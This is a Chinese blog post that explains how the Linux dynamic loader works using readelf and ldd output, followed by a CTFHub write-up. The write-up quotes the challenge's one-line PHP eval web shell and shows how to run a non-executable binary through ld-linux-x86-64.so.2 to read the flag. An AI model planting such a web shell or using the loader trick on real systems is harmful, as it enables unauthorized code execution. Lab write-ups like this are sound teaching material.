动态加载器的知识学习及CTFHUB动态加载器解题

本文介绍了Linux动态加载器的工作原理,通过分析`file`和`readelf`命令展示了ELF文件的详细信息,特别是动态链接部分。在动态链接的ELF文件中,`INTERP`节指出需要`ld-linux-x86-64.so.2`加载器。通过`ldd`命令检查程序依赖,当ELF文件无执行权限时,可以利用动态库的执行权限来运行程序,如`/lib64/ld-linux-x86-64.so.2`执行`readflag`来获取CTF挑战的flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

动态加载器的了解

CTFHUB-动态加载器


动态加载器的了解

在【维基百科】中动态加载是一种机制,通过该机制,计算机程序可以在运行时将库(或其他二进制)加载到存储器中,检索包含在库中的函数和变量的地址,执行那些函数或访问那些变量,以及从存储器中卸载库。它是计算机程序使用其他软件的三种机制之一;另外两种是静态链接和动态链接。与静态链接和动态链接不同,动态加载允许计算机程序在缺少这些库的情况下启动,以发现可用的库,并潜在地获得附加功能。

为了想了解Linux系统中一个执行文件到底是怎样被执行。

写了一个简单求和C文件,进行编译后,生成了一个可执行文件。

#include<stdio.h>

int sum(int x)
{
    int sumvalue = 0;
    for(int i = 1; i <= x; i++)
    {
        sumvalue += i;
    }
    return sumvalue;
}

int main()
{
    int n = 100;
    int value;
    value = sum(n);
    printf("sum = %d\n", value);
}

在Linux中可以通过file和readelf指令来查看执行文件的大概信息以及文件的elf相关信息。

1、通过file 执行文件名 可以查看到执行文件是静态执行文件还是动态执行文件。statically linked \ dynamically linked。

$ file ./demo
./demo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a0c5f362e76df504e8c9f9be25369c7209a6193e, not stripped

2、readelf -h查看指令帮助

readelf: Warning: Nothing to do.
Usage: readelf <option(s)> elf-file(s)
 Display information about the contents of ELF format files
 Options are:
  -a --all               Equivalent to: -h -l -S -s -r -d -V -A -I
  -h --file-header       Display the ELF file header
  -l --program-headers   Display the program headers
     --segments          An alias for --program-headers
  -S --section-headers   Display the sections' header
     --sections          An alias for --section-headers
  -g --section-groups    Display the section groups
  -t --section-details   Display the section details
  -e --headers           Equivalent to: -h -l -S
  -s --syms              Display the symbol table
     --symbols           An alias for --syms
  --dyn-syms             Display the dynamic symbol table
  -n --notes             Display the core notes (if present)
  -r --relocs            Display the relocations (if present)
  -u --unwind            Display the unwind info (if present)
  -d --dynamic           Display the dynamic section (if present)
  -V --version-info      Display the version sections (if present)
  -A --arch-specific     Display architecture specific information (if any)
  -c --archive-index     Display the symbol/file index in an archive
  -D --use-dynamic       Use the dynamic section info when displaying symbols
  -x --hex-dump=<number|name>
                         Dump the contents of section <number|name> as bytes
  -p --string-dump=<number|name>
                         Dump the contents of section <number|name> as strings
  -R --relocated-dump=<number|name>
                         Dump the contents of section <number|name> as relocated bytes
  -z --decompress        Decompress section before dumping it
  -w[lLiaprmfFsoRtUuTgAckK] or
  --debug-dump[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,
               =frames-interp,=str,=loc,=Ranges,=pubtypes,
               =gdb_index,=trace_info,=trace_abbrev,=trace_aranges,
               =addr,=cu_index,=links,=follow-links]
                         Display the contents of DWARF debug sections
  --dwarf-depth=N        Do not display DIEs at depth N or greater
  --dwarf-start=N        Display DIEs starting with N, at the same depth
                         or deeper
  -I --histogram         Display histogram of bucket list lengths
  -W --wide              Allow output width to exceed 80 characters
  @<file>                Read options from <file>
  -H --help              Display this information
  -v --version           Display the version number of readelf

readelf -e 执行文件 可以查看到ELF Header相关的信息。

ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x540
  Start of program headers:          64 (bytes into file)
  Start of section headers:          6472 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000000238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000000254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000000274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000000298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000000002b8  000002b8
       00000000000000a8  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000000360  00000360
       0000000000000084  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           00000000000003e4  000003e4
       000000000000000e  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          00000000000003f8  000003f8
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             0000000000000418  00000418
       00000000000000c0  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000000004d8  000004d8
       0000000000000018  0000000000000018  AI       5    22     8
  [11] .init             PROGBITS         00000000000004f0  000004f0
       0000000000000017  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000000510  00000510
       0000000000000020  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000000530  00000530
       0000000000000008  0000000000000008  AX       0     0     8
  [14] .text             PROGBITS         0000000000000540  00000540
       00000000000001f2  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         0000000000000734  00000734
       0000000000000009  0000000000000000  AX       0     0     4
  [16] .rodata           PROGBITS         0000000000000740  00000740
       000000000000000e  0000000000000000   A       0     0     4
  [17] .eh_frame_hdr     PROGBITS         0000000000000750  00000750
       0000000000000044  0000000000000000   A       0     0     4
  [18] .eh_frame         PROGBITS         0000000000000798  00000798
       0000000000000128  0000000000000000   A       0     0     8
  [19] .init_array       INIT_ARRAY       0000000000200db8  00000db8
       0000000000000008  0000000000000008  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000200dc0  00000dc0
       0000000000000008  0000000000000008  WA       0     0     8
  [21] .dynamic          DYNAMIC          0000000000200dc8  00000dc8
       00000000000001f0  0000000000000010  WA       6     0     8
  [22] .got              PROGBITS         0000000000200fb8  00000fb8
       0000000000000048  0000000000000008  WA       0     0     8
  [23] .data             PROGBITS         0000000000201000  00001000
       0000000000000010  0000000000000000  WA       0     0     8
  [24] .bss              NOBITS           0000000000201010  00001010
       0000000000000008  0000000000000000  WA       0     0     1
  [25] .comment          PROGBITS         0000000000000000  00001010
       0000000000000029  0000000000000001  MS       0     0     1
  [26] .symtab           SYMTAB           0000000000000000  00001040
       0000000000000600  0000000000000018          27    43     8
  [27] .strtab           STRTAB           0000000000000000  00001640
       0000000000000208  0000000000000000           0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  00001848
       00000000000000fe  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000000040 0x0000000000000040
                 0x00000000000001f8 0x00000000000001f8  R      0x8
  INTERP         0x0000000000000238 0x0000000000000238 0x0000000000000238
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x00000000000008c0 0x00000000000008c0  R E    0x200000
  LOAD           0x0000000000000db8 0x0000000000200db8 0x0000000000200db8
                 0x0000000000000258 0x0000000000000260  RW     0x200000
  DYNAMIC        0x0000000000000dc8 0x0000000000200dc8 0x0000000000200dc8
                 0x00000000000001f0 0x00000000000001f0  RW     0x8
  NOTE           0x0000000000000254 0x0000000000000254 0x0000000000000254
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_EH_FRAME   0x0000000000000750 0x0000000000000750 0x0000000000000750
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
  GNU_RELRO      0x0000000000000db8 0x0000000000200db8 0x0000000000200db8
                 0x0000000000000248 0x0000000000000248  R      0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame 
   03     .init_array .fini_array .dynamic .got .data .bss 
   04     .dynamic 
   05     .note.ABI-tag .note.gnu.build-id 
   06     .eh_frame_hdr 
   07     
   08     .init_array .fini_array .dynamic .got 

这整个dynamically linked的ELF Header信息里我们要重点关注的是Program Headers中的[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]信息,这里指明了ELF执行文件是动态链接,它需要一个ld-linux-x86-64.so.2加载器来协助加载。

 INTERP         0x0000000000000238 0x0000000000000238 0x0000000000000238
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]

在Linux内核执行ELF文件时,会通过判断是否有INTERP这一项,有则通过指定的加载器来进行加载。没有的话就是静态链接,内核会直接加载。

3、ldd指令可以查看执行文件的执行链路

$ldd ./demo
	linux-vdso.so.1 (0x00007ffe9b4d0000)
	libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f11749d4000)
	/lib64/ld-linux-x86-64.so.2 (0x00007f1174fc7000)

CTFHUB-动态加载器

题目中提示了“学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件”。

CTFHub Linux 动态装载
当ELF没有 x 权限时, 如何执行?

# chmod 755 /readflag
# /readflag
ctfhub{demoflag}
#
# chown root:root /readflag
# chmod 644 /readflag
# ls -l /readflag
-rw-r--r-- 1 root root 8648 Mar  6 15:48 /readflag
目标: 执行 /readflag 读取 flag
出题人: 本题不需要提权, 这是给你的 WebShell, 只能帮你到这了。

题目已经给了一个webshell

<?php
@eval($_REQUEST['ant']);
show_source(__FILE__);
?>

通过蚁剑连接,进入被测系统终端,寻找flag文件,如下图

 接下来,尝试下看看是否可以执行?./flag提示无权限

 /bin/sh: 1: ./flag: Permission denied

我们查看下根目录下的权限情况

(www-data:/) $ ls -l
total 84
drwxr-xr-x   1 root root 4096 Mar  3  2020 bin
drwxr-xr-x   2 root root 4096 Jun 26  2018 boot
drwxr-xr-x   5 root root  360 Oct 21 22:30 dev
drwxr-xr-x   1 root root 4096 Oct 21 22:30 etc
-rw-------   1 root root   33 Oct 21 22:31 flag
drwxr-xr-x   2 root root 4096 Jun 26  2018 home
drwxr-xr-x   1 root root 4096 Jul 17  2018 lib
drwxr-xr-x   2 root root 4096 Jul 16  2018 lib64
drwxr-xr-x   2 root root 4096 Jul 16  2018 media
drwxr-xr-x   2 root root 4096 Jul 16  2018 mnt
drwxr-x--x   1 root root 4096 Mar  9  2020 opt
dr-xr-xr-x 109 root root    0 Oct 21 22:30 proc
-rw-r--r--   1 root root 8648 Mar  9  2020 readflag
drwx------   1 root root 4096 Mar  9  2020 root
drwxr-xr-x   1 root root 4096 Oct 21 22:30 run
drwxr-xr-x   1 root root 4096 Mar  3  2020 sbin
drwxr-xr-x   2 root root 4096 Jul 16  2018 srv
dr-xr-xr-x  12 root root    0 Oct 21 22:28 sys
drwxrwxrwt   1 root root 4096 Oct 21 22:30 tmp
drwxr-xr-x   1 root root 4096 Jul 16  2018 usr
drwxr-xr-x   1 root root 4096 Jul 17  2018 var

 发现readflag和flag文件都是没有执行权限。那根据我们上面准备知识里提到了ldd是可以查看到执行文件的执行链路的。

ldd ./readflag
    linux-vdso.so.1 (0x00007ffc241f3000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b2fb85000)
    /lib64/ld-linux-x86-64.so.2 (0x00007f6b30126000)

这样的话只要确认下ldd中动态库是否具备执行权限,是一个突破口。

ls -l /lib64/ld-linux-x86-64.so.2
lrwxrwxrwx 1 root root 32 Jan 14  2018 /lib64/ld-linux-x86-64.so.2 -> /lib/x86_64-linux-gnu/ld-2.24.so

我们看到了/lib64/ld-linux-x86-64.so.2动态库是具备执行权限的,那就可以通过它来执行readflag

/lib64/ld-linux-x86-64.so.2 ./readflag
ctfhub{2ab95b7ebc94f615f5818083}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值